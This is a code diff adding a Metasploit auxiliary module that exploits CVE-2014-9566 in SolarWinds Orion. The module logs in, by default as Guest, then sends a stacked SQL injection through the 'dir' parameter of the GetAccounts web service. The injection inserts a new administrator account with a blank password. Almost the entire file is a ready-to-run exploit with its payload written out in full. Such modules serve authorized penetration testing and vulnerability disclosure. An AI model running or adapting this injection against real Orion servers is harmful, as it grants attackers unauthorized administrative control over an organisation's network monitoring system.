|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//:metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a stacked SQL injection in order to add an administrator user to the |
| 19 | + SolarWinds Orion database. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Brandon Perry' #discovery/metasploit module |
| 25 | + ], |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + ['CVE', '2014-9566'] |
| 29 | + ], |
| 30 | + 'DisclosureDate' => 'Feb 24 2015' |
| 31 | + )) |
| 32 | + |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + Opt::RPORT(8787), |
| 36 | + OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']), |
| 37 | + OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']), |
| 38 | + OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) |
| 39 | + ], self.class) |
| 40 | + |
| 41 | + end |
| 42 | + |
| 43 | + def login (username,password) |
| 44 | + |
| 45 | + res = send_request_cgi({ |
| 46 | + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx') |
| 47 | + }) |
| 48 | + |
| 49 | + viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/>/ |
| 50 | + |
| 51 | + cookie = res.get_cookies |
| 52 | + |
| 53 | + res = send_request_cgi({ |
| 54 | + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx'), |
| 55 | + 'method' => 'POST', |
| 56 | + 'vars_post' => { |
| 57 | + '__EVENTTARGET' => '', |
| 58 | + '__EVENTARGUMENT' => '', |
| 59 | + '__VIEWSTATE' => viewstate, |
| 60 | + 'ctl00$BodyContent$Username' => username, |
| 61 | + 'ctl00$BodyContent$Password' => password |
| 62 | + }, |
| 63 | + 'cookie' => cookie |
| 64 | + }) |
| 65 | + |
| 66 | + if res.nil? |
| 67 | + fail_with("Server didn't respond in an expected way") |
| 68 | + end |
| 69 | + |
| 70 | + if res.code == 200 |
| 71 | + fail_with("Authentication failed with username #{username}") |
| 72 | + end |
| 73 | + |
| 74 | + return cookie + ';' + res.get_cookies |
| 75 | + end |
| 76 | + |
| 77 | + def run |
| 78 | + cookie = login(datastore['USERNAME'], datastore['PASSWORD']) |
| 79 | + username = Rex::Text.rand_text_alpha(8) |
| 80 | + |
| 81 | + print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.") |
| 82 | + |
| 83 | + send_request_cgi({ |
| 84 | + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'), |
| 85 | + 'method' => 'POST', |
| 86 | + 'vars_get' => { |
| 87 | + 'sort' => 'Accounts.AccountID', #also vulnerable |
| 88 | + 'dir' => "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb 1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');" |
| 89 | + }, |
| 90 | + 'data' => '{"accountId":""}', |
| 91 | + 'cookie' => cookie, |
| 92 | + 'ctype' => 'application/json' |
| 93 | + }) |
| 94 | + |
| 95 | + login(username, '') |
| 96 | + |
| 97 | + print_good("The injection worked, log in with #{username} and a blank password") |
| 98 | + end |
| 99 | +end |
| 100 | + |
0 commit comments